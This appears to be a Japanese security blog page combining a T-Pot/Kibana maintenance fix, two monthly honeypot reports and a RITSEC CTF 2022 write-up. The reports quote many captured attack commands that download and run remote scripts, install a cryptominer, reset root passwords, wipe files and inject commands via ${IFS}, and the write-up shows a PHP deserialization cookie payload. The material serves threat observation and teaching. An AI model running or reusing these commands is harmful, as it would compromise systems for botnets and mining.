Midnight Monologues

日々勉強したことを書いてきます

Kibanaで503エラーが出た話

T-Potを22.04.0 にアップデートした後、5か月経過したころに503エラーに発生してKibanaの画面につながらなくなった。  

原因を確認したところElasticsearch のIndex数が単調増加しており、その結果発生したメモリ不足が原因だった。 Elasticsearch Curator が機能していないようだ。
 

確認を進めるとT-PotではElasticsearch Curator の機能がパージされており、Index Lifecycle Policiesへログローテーション方式が変わっている。
Breaking Changes
Elasticsearch Curator is no longer supprted and superseded with Index Lifecycle Policies available through Kibana.

github.com    

crontabの以下設定も機能していない。

In /etc/crontab look for the following lines and adjust the configs to your needs.

# Delete elasticsearch logstash indices older than 90 days $myRANDOM_MINUTE $myDEL_HOUR * * * root curator --config /opt/tpot/etc/curator/curator.yml /opt/tpot/etc/curator/actions.yml

     

Elasticsearchの不要なIndexを手動でclose → delete を実施することでメモリ不足が解消された。

①削除対象のIndexをクリックする。  

②[BULK ACTION] →[Close index] を選択する。  

③StatusがOpenからCloseに変更されたことを確認し、[BULK ACTION] →[Delete index] を選択する。  

④Indexが削除されたことを確認する。

   

併せて90日のログ保存ポリシーを適用する。

⑤kibanaのstack management → Index lifecycle policies を選択する。
 適用するポリシーの列のAdd policy to index template を選択する。
 

⑥Linked template indexの値が変更されたことを確認する。
 設定したルールは次に作成される’indexから適応される。  

⑦既存のindexに反映させるためAPI経由でsettingsを変更する。

PUT logstash-*/_settings
{
  "lifecycle" : {
      "name" : "90-days-default"
    }
}

ハニーポット運用(月次報告:2022年3月)

3月のイベント

1.PicoCTF 参加

火, 15 3月 2022, 17:00 UTC — 火, 29 3月 2022, 20:00 UTC で開催された picoCTF 2022に参加した 基礎的な問題が多く学びなおしのいい機会になった。

2.セキュリティ関連書籍の購入

サイバーセキュリティプログラミング 第2版 - Pythonで学ぶハッカーの思考 を購入した。
プログラミングは全くできないのでPythonPowerShellは何とかものにしたい。プログラミング環境の構築から基礎編と実践編の内容がつまっており、充実した内容だった。
www.oreilly.co.jp

セキュリティ関連の書籍はたくさんあるが個人的には以下もおすすめ。(内容が古いが...) www.coronasha.co.jp www.coronasha.co.jp

5月にでる予定のホワイトハッカーの教科書 も楽しみである。 www.c-r.com

T-Potにて1か月運用した結果を記載する。

今月のCommitsログ

・今月は無し。

前提条件

運用日時:2022年3月1日-2022年3月31日
運用期間:31日

結果

①各ハニーポットで検知したAttack件数
  • T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No ハニーポット 件数 先月比
1 Cowrie 1,566,262 152,034
2 Honeytrap 761,798 ▲98,630
3 Heralding 687,591 ▲39,206
4 Dionaea 380,862 65,201
5 Rdpy 67,774 ▲55,673
6 Ciscoasa 18,432 16,446
7 Adbhoney 16,847 632
8 Mailoney 15,315 5,425
9 Tanner 4,881 ▲493
10 ConPot 2,068 207
11 CitrixHoneypot 2,019 236
12 ElasticPot 871 37
13 Medpot 209 ▲118
14 Dicompot 170 99
15 Honeysap 13 ▲24
  • Result
    • 特記事項無し

②攻撃元の国名と件数(Top 20)
No 攻撃元の国名 件数 先月順位
1 Russia 661,956 2(↑)
2 Netherlands 513,743 1(↓)
3 China 483,012 3(→)
4 United States 464,431 4(→)
5 Japan 156,251 10(↑)
6 India 92,381 9(↑)
7 Singapore 77,766 8(↑)
8 Vietnam 75,335 11(↑)
9 Spain 61,237 圏外(↑)
10 Brazil 56,841 12(↑)
11 Germany 51,019 15(↑)
12 Hong Kong 48,957 圏外(↑)
13 United Kingdom 47,281 20(↑)
14 Indonesia 46,537 17(↑)
15 Mexico 39,649 圏外(↑)
16 South Korea 35,838 14(↓)
17 Sweden 26,952 19(↑)
18 Latvia 25,974 16(↓)
19 Monaco 23,177 圏外(↑)
20 Panama 22,957 7(↓)
  • Result
    • ロシアが1位に返り咲いた。戦争の影響もあるのだろうか?

③検知したCVEの脆弱性と件数
  • Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No CVE ID Count
1 CVE-2020-11899 1,022,080
2 CVE-2019-12263 CVE-2019-12261 CVE-2019-12260 CVE-2019-12255 229
3 CVE-2019-0708 CVE-2019-0708 CVE-2019-0708 18
4 CVE-2020-11910 16
  • Result
    • 先月から変更なし

④よく攻撃されるユーザ名
  • ユーザ名でよく攻撃されるキーワード(Top 50)で記載する。
No ユーザ名 件数
1 root 128,995
2 sa 24,988
3 user 6,706
4 admin 6,043
5 nproc 5,892
6 test 2,057
7 (empty) 1,731
8 postgres 1,638
9 22 1,284
10 ubuntu 1,201
11 oracle 888
12 git 775
13 !root 642
14 2Wire 639
15 support 609
16 testuser 582
17 ftpuser 573
18 www 530
19 guest 413
20 dev 399
21 mysql 385
22 adm 358
23 deploy 351
24 ansible 342
25 server 335
26 666666 330
27 unknown 327
28 debug 323
29 0 322
30 blank 321
31 $ALOC$ 317
32 anonymous 305
33 ftp 298
34 user1 273
35 info@mailrelay.local 263
36 web 262
37 nagios 256
38 minecraft 255
39 system 253
40 hadoop 247
41 tomcat 242
42 zabbix 239
43 test1 235
44 administrator 216
45 demo 210
46 jenkins 204
47 Admin 201
48 username 196
49 mc 187
50 www-data 184
  • Result
    • 特記事項無し

⑤よく攻撃されるパスワード
  • パスワードでよく攻撃されるキーワード(Top 50)を以下に記載する。
No パスワード 件数
1 admin 17,851
2 123456 8,143
3 nproc 5,892
4 password 3,187
5 123 3,161
6 (empty) 3,096
7 1 2,901
8 12345 1,842
9 1234 1,613
10 user 1,491
11 root 1,304
12 12345678 1,268
13 blank 960
14 test 921
15 0 775
16 123456789 710
17 1qaz2wsx 626
18 1q2w3e4r 562
19 qwerty 549
20 111111 546
21 123123 490
22 666666 454
23 Password 431
24 1234567890 419
25 support 409
26 1234567 398
27 ubnt 397
28 abc123 394
29 1qaz@WSX 387
30 pass 375
31 alpine 368
32 master 363
33 test123 361
34 00000000 359
35 backup 355
36 123qwe 346
37 unknown 326
38 hi3518 311
39 !ishtar 309
40 Passw0rd 298
41 p@ssw0rd 293
42 synnet 290
43 admin123 284
44 P@ssw0rd 283
45 !QAZ2wsx 281
46 testuser 268
47 password123 263
48 12 261
49 q1w2e3r4 241
50 system 238
  • Result
    • 特記事項無し

⑥今月のマスオさんとZmap
  • massscanの観測結果は以下の通り。

  • Zmapの観測結果は以下の通り。

  • Result

    • 特記事項は無し。

最後に

  • shファイルとexeファイル関連の問い合わせは以下の通り。
◆shファイルに関するアクセス
"http://142.93.34.32/cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/106.246.224.219/russia.sh;sh${IFS}/tmp/russia.sh"

"curl -s -L https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.sh | bash -s 4ANkemPGmjeLPgLfyYupu2B8Hed2dy8i6XYF7ehqRsSfbvZM2Pz7bDeaZXVQAs533a7MUnhB6pUREVDj2LgWj1AQSGo2HRj; wget https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.sh; sh setup_c3pool_miner.sh 4ANkemPGmjeLPgLfyYupu2B8Hed2dy8i6XYF7ehqRsSfbvZM2Pz7bDeaZXVQAs533a7MUnhB6pUREVDj2LgWj1AQSGo2HRj; echo -e \"xox0\\nxox0\" | passwd",
"curl -s -L https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.sh | bash -s 4ANkemPGmjeLPgLfyYupu2B8Hed2dy8i6XYF7ehqRsSfbvZM2Pz7bDeaZXVQAs533a7MUnhB6pUREVDj2LgWj1AQSGo2HRj; wget https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner.sh; sh setup_c3pool_miner.sh 4ANkemPGmjeLPgLfyYupu2B8Hed2dy8i6XYF7ehqRsSfbvZM2Pz7bDeaZXVQAs533a7MUnhB6pUREVDj2LgWj1AQSGo2HRj",
"cd /tmp; curl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 492cUvVMbMsKpWGoSkTSbzix9Pk2Ho6XUid9vRSFALXjfQS76gyNGjnTh6DTpPHwnBAHDztwbWUGiCfZgkbndYtAMuekPcA; wget http://179.43.175.170/putkite/quickr1n.sh; chmod 777 *; sh quickr1n.sh; echo storytime",
"cd /tmp; curl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 492cUvVMbMsKpWGoSkTSbzix9Pk2Ho6XUid9vRSFALXjfQS76gyNGjnTh6DTpPHwnBAHDztwbWUGiCfZgkbndYtAMuekPcA; wget http://179.43.175.170/putkite/quickr1n.sh; curl -O http://179.43.175.170/putkite/quickr1n.sh; chmod 777 *; sh quickr1n.sh; echo storytime",
"curl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 492cUvVMbMsKpWGoSkTSbzix9Pk2Ho6XUid9vRSFALXjfQS76gyNGjnTh6DTpPHwnBAHDztwbWUGiCfZgkbndYtAMuekPcA; lspci | grep -i --color 'vga\\|3d\\|2d'; echo root:ds234e3123g4tij24jtiu3ji23rg|chpasswd|bash",
"uname -a;lspci | grep -i --color 'vga\\|3d\\|2d';curl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 492cUvVMbMsKpWGoSkTSbzix9Pk2Ho6XUid9vRSFALXjfQS76gyNGjnTh6DTpPHwnBAHDztwbWUGiCfZgkbndYtAMuekPcA; echo root:d11es234e3123g4tij24jtiu3ji4rg|chpasswd|bash",

"cd /data/local/tmp/; busybox wget http://23.94.22.13/w.sh; sh w.sh; curl http://23.94.22.13/c.sh; sh c.sh",
"cd /data/local/tmp/; busybox wget http://194.31.98.248/w.sh; sh w.sh; curl http://194.31.98.248/c.sh; sh c.sh",
"cd /data/local/tmp/; busybox wget http://176.32.34.23/w.sh; sh w.sh; curl http://176.32.34.23/c.sh -o c.sh; sh c.sh",
"cd /data/local/tmp/; rm -rf w.sh; rm -rf c.sh; busybox wget http://192.3.251.253/w.sh; sh w.sh; curl http://192.3.251.253/c.sh; sh c.sh",
"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://45.90.161.105/onions1337; curl -O http://45.90.161.105/onions1337; chmod 777 onions1337; sh onions1337; tftp 45.90.161.105 -c get bins.sh; chmod 777 onions1337; sh onions1337; tftp -r .sh -g 45.90.161.105; chmod 777 .sh; sh .sh; ftpget -v -u anonymous -p anonymous -P 21 45.90.161.105 .sh .sh; sh .sh; rm -rf sh onions1337 .sh .sh; rm -rf *",
"cd /data/local/tmp/; busybox wget http://37.0.11.224/w.sh; sh w.sh; curl http://37.0.11.224/c.sh; sh c.sh",
"cd /data/local/tmp/; busybox wget http://136.144.41.60/w.sh; sh w.sh; curl http://136.144.41.60/c.sh; sh c.sh",
"cd /system/bin/; rm arm*; rm busybox wget http://176.32.34.23/w.sh; sh w.sh; curl http://176.32.34.23/c.sh -o c.sh; sh c.sh",
"cd /data/local/tmp/; busybox wget http://31.210.20.111/w.sh; sh w.sh; curl http://31.210.20.111/c.sh; sh c.sh",
"cd /sdcard/Download/;busybox wget http://176.32.34.23/w.sh; sh w.sh; curl http://176.32.34.23/c.sh -o c.sh; sh c.sh",
"cd /data/local/tmp/; wget http://194.31.98.169/w.sh; sh w.sh; curl http://194.31.98.169/c.sh; sh c.sh",
"cd /data/local/tmp/; rm -rf *.sh; busybox wget http://136.144.41.169/w.sh; sh w.sh; curl http://136.144.41.169/c.sh; sh c.sh",


"cd /data/local/tmp/; wget http://2.56.56.182/adb.sh; sh adb.sh; curl http://2.56.56.182/adb.sh; sh adb.sh"
"cd /data/local/tmp/; wget http://2.56.56.182/abd.sh; sh abd.sh; curl http://2.56.56.182/abd.sh; sh abd.sh",
"cd /data/local/tmp/; wget http://2.56.56.182/abd.sh; sh abd.sh; curl http://2.56.56.182/abd.sh; sh abd.sh"


"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.31.98.122/keenzeuonions; curl -O http://194.31.98.122/keenzeuonions; chmod 777 keenzeuonions; sh keenzeuonions; tftp 194.31.98.122 -c get keenzeuonions; chmod 777 bins.sh; sh keenzeuonions; tftp -r .sh -g 194.31.98.122; chmod 777 .keenzeuonions; sh .keenzeuonions; ftpget -v -u anonymous -p anonymous -P 21 194.31.98.122 .keenzeuonions .keenzeuonions; sh .keenzeuonions; rm -rf sh keenzeuonions .keenzeuonions .keenzeuonions; rm -rf *",
"cd /tmp; wget http://0.0.0.0/update.sh; busybox wget http://0.0.0.0/update.sh; chmod 777 update.sh; sh update.sh; rm -f update.sh",
"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://31.210.20.109/76d32be0.sh; curl -O http://31.210.20.109/76d32be0.sh; chmod 777 76d32be0.sh; sh 76d32be0.sh; tftp 31.210.20.109 -c get 76d32be0.sh; chmod 777 76d32be0.sh; sh 76d32be0.sh; tftp -r 76d32be02.sh -g 31.210.20.109; chmod 777 76d32be02.sh; sh 76d32be02.sh; ftpget -v -u anonymous -p anonymous -P 21 31.210.20.109 76d32be01.sh 76d32be01.sh; sh 76d32be01.sh; rm -rf 76d32be0.sh 76d32be0.sh 76d32be02.sh 76d32be01.sh; rm -rf *",
"cd /etc/; wget http://185.245.62.231/test.sh; chmod 777 test.sh; ./test.sh;",

"wget http://0.0.0.0/update.sh",
"#!/bin/sh; PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; wget http://182.52.51.239/scripts/23s; curl -O http://182.52.51.239/scripts/23s; chmod +x 23s; ./23s; wget http://182.52.51.239/scripts/23; curl -O http://182.52.51.239/scripts/23; chmod +x 23; ./23; rm -rf 23.sh; ",
"cd /tmp || cd /run || cd /; wget http://31.7.62.22/niggasbins.sh; chmod 777 niggasbins.sh; sh niggasbins.sh; tftp 31.7.62.22 -c get niggastftp1.sh; chmod 777 niggastftp1.sh; sh niggastftp1.sh; tftp -r niggastftp2.sh -g 31.7.62.22; chmod 777 niggastftp2.sh; sh niggastftp2.sh; rm -rf niggasbins.sh niggastftp1.sh niggastftp2.sh; rm -rf *",
"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://31.210.20.190/ssh.sh; curl -O http://31.210.20.190/ssh.sh; chmod 777 ssh.sh; sh ssh.sh; tftp 31.210.20.190 -c get ssh.sh; chmod 777 ssh.sh; sh ssh.sh; tftp -r ssh2.sh -g 31.210.20.190; chmod 777 ssh2.sh; sh ssh2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.210.20.190 ssh1.sh ssh1.sh; sh ssh1.sh; rm -rf ssh.sh ssh.sh ssh2.sh ssh1.sh; rm -rf *",
"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://31.210.20.109/bins.sh; busybox wget http://31.210.20.109/bins.sh; tftp -r bins.sh -g 31.210.20.109; busybox tftp -r bins.sh -g bins.sh; ftpget -v -u anonymous -p anonymous -P 21 31.210.20.109 bins.sh bins.sh; busybox ftpget -v -u anonymous -p anonymous -P 21 31.210.20.109 bins.sh bins.sh; chmod 777 bins.sh; busybox chmod 777 bins.sh; sh bins.sh; rm -rf bins.sh",

"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://31.210.20.60/SnOoPy.sh; chmod 777 *; sh SnOoPy.sh; tftp -g 31.210.20.60 -r tftp1.sh; chmod 777 *; sh tftp1.sh; rm -rf *.sh; history -c",



◆exeファイルに関するアクセス
・Port:39877に対する2019.exeファイルへのGETリクエスト
・Port:46197に対するPhoenixClient.exeファイルへのGETリクエスト
・Port:34277,39527,41797,43227,47017,47341,49539,52901,53413,55699,57705,58585,60515に対するSystemwy.exeファイルへのGETリクエスト
・Port:39809,50895に対するServer.exeファイルへのGETリクエスト

ハニーポット運用(月次報告:2022年2月)

ロシアによるウクライナへの軍事侵攻が2/24(木)から開始された。

タイムズ紙によるとロシアによるウクライナ侵攻の直前に、中国がウクライナに大規模なサイバー攻撃を仕掛けていたとの報道もあり中国がロシアの侵攻を事前に織り込んでいたことが示唆されている。 www.thetimes.co.uk

戦争の激化に伴い、ウクライナ侵攻に関連するアクセスもより活発になることが予想される。一刻も早い戦争終結を祈るばかりである。
www3.nhk.or.jp

T-Potにて1か月運用した結果を記載する。

今月のChangelog

・今月は無し。 ※CHANGELOG.mdを参照していたがメンテされないため、Commitsログを参考にする。

github.com github.com

前提条件

運用日時:2022年2月1日-2022年2月28日
運用期間:28日

結果

①各ハニーポットで検知したAttack件数
  • T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No ハニーポット 件数 先月比
1 Cowrie 1,414,228 -
2 Honeytrap 860,428 -
3 Heralding 726,797 -
4 Dionaea 315,661 -
5 Rdpy 123,447 -
6 Adbhoney 16,215 -
7 Mailoney 9,890 -
8 Tanner 5,374 -
9 Ciscoasa 1,986 -
10 ConPot 1,861 -
11 CitrixHoneypot 1,783 -
12 ElasticPot 834 -
13 Medpot 327 -
14 Dicompot 71 -
15 Honeysap 37 -
  • Result
    • 先月はデータ消去事故が発生したため、先月比の比較は無し。

②攻撃元の国名と件数(Top 20)
No 攻撃元の国名 件数 先月順位
1 Russia 774,646 -
2 Netherlands 429,214 -
3 United States 420,509 -
4 China 412,076 -
5 Japan 116,656 -
6 Vietnam 95,508 -
7 India 75,679 -
8 Singapore 63,631 -
9 Poland 61,354 -
10 Spain 53,663 -
11 Denmark 53,471 -
12 Brazil 49,195 -
13 Germany 48,984 -
14 South Korea 48,654 -
15 United Kingdom 43,466 -
16 Hong Kong 42,487 -
17 Mexico 34,838 -
18 Indonesia 33,494 -
19 Ukraine 27,543 -
20 Sweden 23,609 -
  • Result

③検知したCVEの脆弱性と件数
  • Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No CVE ID Count
1 CVE-2020-11899 1,479,040
2 CVE-2019-12263 CVE-2019-12261 CVE-2019-12260 CVE-2019-12255 480
3 CVE-2019-0708 CVE-2019-0708 CVE-2019-0708 14
4 CVE-2020-11910 3

④よく攻撃されるユーザ名
  • ユーザ名でよく攻撃されるキーワード(Top 50)で記載する。
No ユーザ名 件数
1 root 105,222
2 sa 26,042
3 nproc 6,395
4 user 6,299
5 admin 5,469
6 test 2,014
7 postgres 1,830
8 ubuntu 1,542
9 22 1,182
10 oracle 926
11 ftpuser 753
12 git 708
13 (empty) 640
14 !root 599
15 2Wire 592
16 support 586
17 mysql 481
18 administrator 465
19 ftp 454
20 guest 453
21 www 443
22 web 423
23 testuser 408
24 deploy 381
25 info@mailrelay.local 375
26 user1 343
27 adm 339
28 jenkins 316
29 666666 306
30 debug 301
31 minecraft 301
32 unknown 300
33 0 293
34 $ALOC$ 287
35 anonymous 282
36 blank 276
37 www-data 275
38 sales@mailrelay.local 267
39 server 259
40 test1 259
41 hadoop 258
42 Admin 256
43 test@mailrelay.local 252
44 db 248
45 tomcat 247
46 dev 243
47 data 237
48 nagios 236
49 teamspeak 234
50 wwwroot 231
  • Result
    • メールアドレスをユーザ名に指定したアクセスが幾つか確認された。  info@mailrelay.local(25位)、sales@mailrelay.local(38位)、test@mailrelay.local(43位)

⑤よく攻撃されるパスワード
  • パスワードでよく攻撃されるキーワード(Top 50)を以下に記載する。
No パスワード 件数
1 admin 10,159
2 123456 8,045
3 nproc 6,395
4 1 3,023
5 123 2,895
6 password 2,615
7 (empty) 1,849
8 root 1,800
9 1234 1,691
10 user 1,662
11 12345 1,610
12 12345678 1,033
13 blank 885
14 test 859
15 123456789 594
16 0 562
17 1q2w3e4r 533
18 111111 525
19 123123 509
20 qwerty 509
21 666666 493
22 1qaz2wsx 469
23 abc123 391
24 support 387
25 P@ssw0rd 385
26 ubnt 376
27 00000000 371
28 1234567 371
29 123qwe 359
30 admin123 357
31 master 357
32 test123 335
33 Password 333
34 pass 328
35 p@ssw0rd 325
36 backup 324
37 alpine 319
38 1234567890 313
39 Passw0rd 309
40 unknown 309
41 synnet 289
42 hi3518 285
43 !ishtar 284
44 password123 252
45 passw0rd 246
46 q1w2e3r4 246
47 123321 229
48 1qaz@WSX 228
49 000000 217
50 passwd 203
  • Result
    • パスワード に関連した文字列が多かった

⑥今月のマスオさんとZmap
  • massscanの観測結果は以下の通り。

  • Zmapの観測結果は以下の通り。

  • Result

    • 特記事項は無し。

最後に

Peach is the best.



* shファイルとexeファイル関連の問い合わせは以下の通り。

◆shファイルに関するアクセス
ASCII text, with CRLF line terminators  /putkite/quickr1n.sh
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV)    /1.txt
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV)    /1a.txt
POSIX shell script, ASCII text executable   /bins.sh

◆exeファイルに関するアクセス
PE32 executable (GUI) Intel 80386, for MS Windows   exiles.exe
PE32 executable (GUI) Intel 80386, for MS Windows   s.exe
PE32 executable (GUI) Intel 80386, for MS Windows   smss.exe

◆jsファイルに関するアクセス
XML 1.0 document, ASCII text    /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/101.0.54.113:34156/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
XML 1.0 document, ASCII text    /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/103.217.123.245:35220/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
XML 1.0 document, ASCII text    /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/117.198.251.73:41927/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
XML 1.0 document, ASCII text    /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/117.201.207.222:59276/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
XML 1.0 document, ASCII text    /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/117.251.57.35:46227/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
XML 1.0 document, ASCII text    /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/118.232.97.242:54791/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
XML 1.0 document, ASCII text    /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/175.11.134.111:24485/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
XML 1.0 document, ASCII text    /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/185.181.43.55:39167/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js
XML 1.0 document, ASCII text    /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http:/192.168.1.1:8088/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js

RITSEC CTF 2022 - Writeup

2022年4月1日, 16:00 UTC - 4月4日, 04:00 UTCに開催されたRITSEC CTF 2022 に会社のチームで参加した。 他のチームメンバーの陰で6問解いたので、以下にWriteupを記載する。

Web

Pretty Horrible Program 1

Bingus our beloved is found and he can never be replaced

Author : BradHack3r
https://ctf.ritsec.club/php1


指定されたURLへアクセスすると添付のようなフォーム画面が表示される。 f:id:SYN-ACK:20220404182415j:plain
ソースコードが以下URLで確認できる。
https://ctf.ritsec.club/php1/index.php?source

<?php
if (isset($_GET['source'])) {
  highlight_file(__FILE__);
  die();
}
define('APP_RAN', true);
require('flag.php');
?>
<!DOCTYPE html>

<head>
  <style>
    body {
      display: flex;
      flex-direction: column;
      align-items: center;
      font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;
    }

    code {
      color: orange;
      font-size: 2.5rem;
    }

    .title {
      font-weight: 500;
    }

    .title b {
      color: blue;
    }

    .answer code {
      font-size: 2rem;
    }
  </style>
  <title>PHP 1</title>
</head>

<body>
  <img src="/php1/praise_bingus.webp" width="300" />
  <h1 class="title"><b>P</b>retty <b>H</b>orrible <b>P</b>rogram <b>1</b></h1>
  <a href="/php1/index.php?source">View Source Code</a>
  <br />
  <?php
  if (isset($_GET['bingus'])) {
    $input = $_GET['bingus'];
    $to_replace = 'bingus';
    $clean_string = preg_replace("/$to_replace/", '', $input);
    echo "<p>Your string is: $clean_string</p>";
    if ($clean_string == $to_replace) {
      echo "<h2 class=\"answer\">Bingus <span style=\"color: green;\">IS</span> your beloved</h2>";
      output_flag();
    } else {
      echo "<h2 class=\"answer\">Bingus <span style=\"color: red;\">IS NOT</span> your beloved</h2>";
    }
  }
  ?>
  <form method="get">
    <input type="text" required name="bingus" placeholder="Gimme some input :)" />
    <input type="submit" />
  </form>
</body>


以下の判定処理よりbingusのクエリストリングで渡したGETリクエストの値がpreg_replace関数で置換された後にbingusの文字列と等しければflagが表示される。

    if ($clean_string == $to_replace) {
      echo "<h2 class=\"answer\">Bingus <span style=\"color: green;\">IS</span> your beloved</h2>";
      output_flag();


bingusの文字列が置換されて消えるためbinbingusgusのように指定すれば条件に一致する。
つまり以下のURLでアクセスすればflagが表示される。

https://ctf.ritsec.club/php1?bingus=binbingusgus

f:id:SYN-ACK:20220404182819j:plain

flag : RS{B1ngus_0ur_B3lov3d}



Pretty Horrible Program 2

Bingus cereal 👀 duh

Author : BradHack3r
https://ctf.ritsec.club/php2


指定されたURLへアクセスすると添付のようなフォーム画面が表示される。 f:id:SYN-ACK:20220404183149j:plain
ソースコードが以下URLで確認できる。
https://ctf.ritsec.club/php2/index.php?source

<?php
if (isset($_GET['source'])) {
  highlight_file(__FILE__);
  die();
}
define('APP_RAN', true);
require('flag.php');

if (!isset($_COOKIE['user'])) {
  $default_user = new User;
  $_COOKIE['user'] = serialize($default_user);
  setcookie(
    'user',
    serialize($default_user),
  );
}

if (isset($_POST['user'])) {
  setcookie(
    'user',
    $_POST['user'],
  );
}

?>
<!DOCTYPE html>
<html>

<head>
  <style>
    body {
      display: flex;
      flex-direction: column;
      align-items: center;
      font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;
    }

    hr {
      width: 50%;
    }

    code {
      font-size: 2rem;
      font-weight: 500;
    }

    .error {
      color: red;
    }

    .success {
      color: green;
    }

    .title {
      font-weight: 500;
    }

    .title b {
      color: blue;
    }

    .answer code {
      font-size: 2rem;
    }

    form {
      display: flex;
      flex-direction: column;
      align-items: center;
    }
  </style>
  <title>PHP 2</title>
</head>

<body>
  <img src="/php2/meme.jpeg" width="300" />
  <h1 class="title"><b>P</b>retty <b>H</b>orrible <b>P</b>rogram <b>2</b></h1>
  <?php
  class User
  {
    public $role = 'User';

    public function is_admin()
    {
      if ($this->role == 'Admin') {
        return true;
      } else {
        return false;
      }
    }

    public function __sleep()
    {
      return array($this->role);
    }
  }
  ?>
  <?php
  if (isset($_COOKIE['user'])) {
    echo "<p>Output:<br/>" . $_COOKIE['user'] . '</p>';
  } else {
    echo 'Please provide some input.';
  }
  ?>
  <?php
  if (isset($_COOKIE['user'])) {
    try {
      $user = unserialize($_COOKIE['user']);
      if ($user->is_admin()) {
        echo '<h3 class="success">Welcome Admin</h3>';
        output_flag();
      } else {
        echo '<h3 class="error">Not Admin</h3>';
      }
    } catch (Error $e) {
      echo '<h2 class="error">Uh oh, ur input was <code>cringe</code></h2>';
    }
  }
  ?>
  <hr />
  <form action="/php2/index.php" method="post">
    Serialized User: <input type="text" name="user"><br>
    <input type="submit">
  </form>
  <a href="/php2/index.php?source">View Source Code</a>
</body>

</html>


以下の判定処理よりcookieにセットされたO:4:"User":1:{s:4:"User";N;}のシリアル化された値を改変して is_admin()のrole == 'Admin'をセットできればflagが表示される。

public function is_admin()
    {
      if ($this->role == 'Admin') {
        return true;
      } else {
        return false;
      }


シリアライズされた値の確認

O:4:"User":1:{s:4:"User";N;}

     ↓

object(__PHP_Incomplete_Class)#1 (2) {
  ["__PHP_Incomplete_Class_Name"]=>
  string(4) "User"
  ["User"]=>
  NULL
}

User(4文字)のObjectがあり、その中にUser(4文字)のstring型の要素が1つ構成されている。User要素の値はNullが設定されている。
この中にrole(4文字)という要素を追加して、Admin(5文字)の値をセットする。(つまり要素は2つで構成されることになる。)

PHPシリアライズ形式については以下のURLが参考になる。 phpinternalsbook-ja.com

※安全でないデシリアライゼーションの考え方は以下の大変ありがたいURLを参照するとよいでしょう。 blog.tokumaru.org

O:4:"User":2:{s:4:"User";N;s:4:"role";s:5:"Admin";}

     ↓

object(__PHP_Incomplete_Class)#1 (3) {
  ["__PHP_Incomplete_Class_Name"]=>
  string(4) "User"
  ["User"]=>
  NULL
  ["role"]=>
  string(5) "Admin"
}


cookieの値(user)はURLエンコードされているので作成したシリアル化された値をURLエンコードする。 O%3A4%3A%22User%22%3A2%3A%7Bs%3A4%3A%22User%22%3BN%3Bs%3A4%3A%22role%22%3Bs%3A5%3A%22Admin%22%3B%7D

この値をCookieのuserにセットしてサイトへアクセスするとflagが表示される。 f:id:SYN-ACK:20220404201727j:plain

flag : RS{C3re4l_B1ngu5}



Pretty Horrible Program 3

Well, better get cracking I guess

Author : BradHack3r
https://ctf.ritsec.club/php3


指定されたURLへアクセスすると添付のようなフォーム画面が表示される。 f:id:SYN-ACK:20220404202004j:plain

ソースコードが以下URLで確認できる。
https://ctf.ritsec.club/php3/index.php?source=true

<?php
